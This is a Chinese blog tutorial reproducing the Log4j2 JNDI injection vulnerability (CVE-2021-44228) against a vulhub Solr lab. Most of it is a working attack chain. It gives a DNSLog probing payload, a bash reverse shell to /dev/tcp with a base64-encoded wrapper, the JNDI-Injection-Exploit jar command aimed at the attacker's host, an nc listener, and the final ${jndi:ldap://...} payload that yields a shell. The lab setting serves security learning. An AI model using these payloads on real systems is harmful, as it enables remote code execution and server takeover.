Log4j2漏洞复现

Log4j2漏洞复现

原理介绍

​ 因为Log4j2默认支持解析ldap/rmi协议,所以黑客只需构造恶意的JNDI接口,然后服务器通过log4j2解析jndi接口并调用lookup函数,使得服务器去引用黑客构造好的恶意类,从而达到getshell

影响版本:log4j2.x <= 2.14.1

环境介绍

使用的vulhub里的log4j2的靶场

 cd vulhub/log4j/CVE-2021-44228//进入靶场
 
 docker-compose up -d  //启动靶场

在这里插入图片描述

漏洞复现步骤

一、漏洞探测

一般我们会对log4j2这个漏洞进行探测,然后再做利用。

这里我们使用DNSLog来进行探测漏洞存在的注入点

1.访问dnslog.cn获取测试域名地址

在这里插入图片描述

2.我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照上面的原理先构造一个请求传过去:

cores?action=${jndi:ldap://${sys:java.version}.7pa8mv.dnslog.cn}

在这里插入图片描述

二、获取反向shell
2.1 前期准备

1.用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

项目地址 https://github.com/sayers522/JNDI-Injection-Exploit

下载后使用mvn或者idea将项目打为jar包

2 构造反弹shell用到的命令

bash -i >& /dev/tcp/攻击机地址地址/攻击机端口号 0>&1
//由于docker容器里面没有nc,所以只能使用原生命令进行shell反弹

3.base64编码

使用在线base64编码平台将反弹shell进行编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==

4.构造解析base64命令行代码

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}

5.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar脚本

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}" -A "192.168.111.1" 

//-C: 执行命令
//-A: 攻击机地址

6 在攻击端启动nc监听反弹端口

nc -lvvp 8080
2.2 脚本利用

执行成功后,界面如下:

在这里插入图片描述

得知我们之前探测java的jdk为1.8.0所以选择第二条ladp地址

/solr/admin/cores?_=${jndi:ldap://192.168.111.1:1389/Exploit}

在这里插入图片描述

访问后,我们可以看到服务器去下载了恶意类

在这里插入图片描述

此时攻击端的8080端口得到了服务器的shell

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值